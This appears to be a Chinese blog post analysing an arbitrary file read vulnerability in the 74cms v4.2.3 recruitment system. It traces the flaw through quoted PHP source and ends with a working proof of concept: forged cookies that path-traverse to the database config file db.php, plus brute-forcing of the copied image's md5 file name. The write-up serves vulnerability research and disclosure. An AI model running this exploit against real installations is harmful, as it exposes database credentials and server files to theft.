74cms v4.2.3前台任意文件读取
因为一直忙学校的事情,很久没发文章了,今天想起来我还有个博客,就随便发一篇吧。
漏洞描述骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。由太原迅易科技有限公司于2009年正式推出。
74cms在v4.2.3版本中存在前台任意文件读取漏洞,攻击者可以利用此漏洞读取服务器上的敏感文件。
漏洞分析在/Application/Home/Controller/MembersController.class.php中的第219行:
if('bind' == I('post.org','','trim') && cookie('members_bind_info')){ $user_bind_info = object_to_array(cookie('members_bind_info')); $user_bind_info['uid'] = $data['uid']; $oauth = new \Common\qscmslib\oauth($user_bind_info['type']); $oauth->bindUser($user_bind_info); $this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换 cookie('members_bind_info', NULL);//清理绑定COOKIE }
这里进入if的条件十分简单,就是我们post的org等于bind,以及我们拥有一个members_bind_info的cookie就好了,然后我们主要是看这个if条件里面的操作:
首先将我们的members_bind_info这个cookie调用object_to_array函数进行了处理,我们看一下这个函数:
在/Application/Common/Common/function.php中第278行:
function object_to_array($obj) { $_arr = is_object($obj) ? get_object_vars($obj) : $obj; foreach ($_arr as $key => $val) { $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val; $arr[$key] = $val; } return $arr; }就是将我们的cookie内容转换成数组,转换成数组之后赋值给了$user_bind_info这个变量,然后将$data['uid']赋值给了$user_bind_info['uid'],然后实例化了一个oauth类,并且将$user_bind_info['type']传递给了构造函数,我们看一下这个类:
在/Application/Common/qscmslib/oauth.class.php中:
class oauth { private $_type = ''; private $_setting = array(); private $_error = ''; public function __construct($name) { $this->_type = $name ? $name : C('qscms_oauth_default'); //加载登陆接口配置 if(false === $oauth_list = F('oauth_list')){ $oauth_list = D('Oauth')->oauth_cache(); } $this->_setting = unserialize($oauth_list[$this->_type]['config']); //导入接口文件 include_once QSCMSLIB_PATH . 'oauth/' . $this->_type . '/' . $this->_type . '.php'; $om_class = $this->_type . '_oauth'; $this->_om = new $om_class($this->_setting); }可以看到,这里的$this->_type就是我们传递进来的构造函数的参数$name,这里就包含进一个PHP文件,然后实例化这个文件里的类, 我们找一下,在/Application/Common/qscmslib/oauth/下有三个文件夹,分别是qq,sina,taobao,这里我选择qq吧,也就是说我们的$user_bind_info['type']的值是QQ。
然后又将$user_bind_info['temp_avatar']以及$data['uid']带入到了_save_avatar函数中:
$this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换我们跟踪一下该函数:
protected function _save_avatar($avatar,$uid){ if(!$avatar) return false; $path = C('qscms_attach_path').'avatar/temp/'.$avatar; $image = new \Common\ORG\ThinkImage(); $date = date('ym/d/'); $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径 if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true); file_put_contents('balisong.txt',time()); $savePicName = md5($uid.time()).".jpg"; $filename = $save_avatar.$savePicName; $size = explode(',',C('qscms_avatar_size')); copy($path, $filename); foreach ($size as $val) { $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg"); } M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName); @unlink($path); }可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:
copy($path, $filename);那么这个$filename是啥,它的文件名命名规则为:
$savePicName = md5($uid.time()).".jpg";也就是说是我们传入的第二个参数$data['uid']+time(),然后md5之后得到的值作为文件名,而我们拷贝过去,形成的是一个jpg文件。
那么这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件,众所周知,图片文件我们是可以直接下载下来的,所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件下载的效果。
但是这里有两个问题是我们需要解决的
- 如何伪造cookie
- 如何知道复制后的文件路径(包括文件名)
第一个问题我们需要知道cookie这个函数到底是怎样工作的,我们看一下定义:
在/ThinkPHP/Common/functions.php中第1356行:
function cookie($name='', $value='', $option=null) { // 默认设置 $config = array( 'prefix' => C('COOKIE_PREFIX'), // cookie 名称前缀 'expire' => C('COOKIE_EXPIRE'), // cookie 保存时间 'path' => C('COOKIE_PATH'), // cookie 保存路径 'domain' => C('COOKIE_DOMAIN'), // cookie 有效域名 'secure' => C('COOKIE_SECURE'), // cookie 启用安全传输 'httponly' => C('COOKIE_HTTPONLY'), // httponly设置 ); // 参数设置(会覆盖黙认设置) if (!is_null($option)) { if (is_numeric($option)) $option = array('expire' => $option); elseif (is_string($option)) parse_str($option, $option); $config = array_merge($config, array_change_key_case($option)); } if(!empty($config['httponly'])){ ini_set("session.cookie_httponly", 1); } // 清除指定前缀的所有cookie if (is_null($name)) { if (empty($_COOKIE)) return null; // 要删除的cookie前缀,不指定则删除config设置的指定前缀 $prefix = empty($value) ? $config['prefix'] : $value; if (!empty($prefix)) {// 如果前缀为空字符串将不作处理直接返回 foreach ($_COOKIE as $key => $val) { if (0 === stripos($key, $prefix)) { setcookie($key, '', time() - 3600, $config['path'], $config['domain'],$config['secure'],$config['httponly']); unset($_COOKIE[$key]); } } } return null; }elseif('' === $name){ // 获取全部的cookie return $_COOKIE; } $name = $config['prefix'] . str_replace('.', '_', $name); if ('' === $value) { if(isset($_COOKIE[$name])){ $value = $_COOKIE[$name]; if(0===strpos($value,'think:')){ $value = substr($value,6); return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true)); }else{ return $value; } }else{ return null; }这里涉及到一个cookie前缀的问题,我们必须要知道这个cookie前缀,但是程序默认是没有设置cookie前缀的,在/ThinkPHP/Conf/convention.php中第36行我们可以看到:
'COOKIE_PREFIX' => '', // Cookie前缀 避免冲突那么这就解决了cookie伪造的问题。
然后接下里就是复制后的文件路径的问题,文件夹都还是比较好找,是在data\upload\avatar\年月\日
目录下。
那么文件名如何获得,文件名上文提到了额是$data['uid']+time()。
首先我们来解决time(),time很简单,直接注册登录一个账号,然后查看头像处的源代码,png?后面那一串就是time(),如图:
好,time()我们能够得到一个大概了(误差不超过几秒),到时候稍微一爆破就搞定,接下来就是$data['uid']了,那么这个$data['uid']我们可以控制么?
答案是肯定的。
我们可以在cookie中指定uid来让我们的uid固定,但是为了不防止跟表里的用户冲突(主键唯一),我们将uid设大一点,比如说6666666。
漏洞证明首先让文件先拷贝(这里我们拷贝db.php):
http://localhost/74cms42/index.php?m=&c=members&a=register POST: ajax=1®_type=2&utype=2&org=bind&ucenter=bind COOKIE: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php members_bind_info[type]=qq members_uc_info[password]=balisong members_uc_info[uid]=666666 members_uc_info[username]=balisong这里要加入五个cookie,并且都是以数组的形式的cookie。
其实到这一步文件已经复制好了,我们可以去/data/upload/avatar/年月/日文件夹下去看一下:
比如我利用的时候是2017年6月28日,那么文件夹如下:
data\upload\avatar\1706\28
可以看到,已经有一张图片了:
我们打开看一下这张图片的内容,也确实是db.php的内容。
那么我们如何去url访问到这张图片。
首先我们uid已经固定好了,是666666了,然后我们得到time(),如图:
我这里是1498581147。
然后我们是提前查看的这个time再打的payload,
那么payload的time比这个time是要多的,但是控制在300秒以内。
我们爆破一下就能得到文件名,生成一下字典,然后载入burpsuite开始跑。
得到的是md5(666666.1498581227)==6656852797209251cdfea25fd3b25b96
与上文文件名吻合。我们访问一下:
http://localhost/74cms42/data/upload/avatar/1706/28/6656852797209251cdfea25fd3b25b96.jpg
然后将图像下载保存就可以看到db.php的内容了。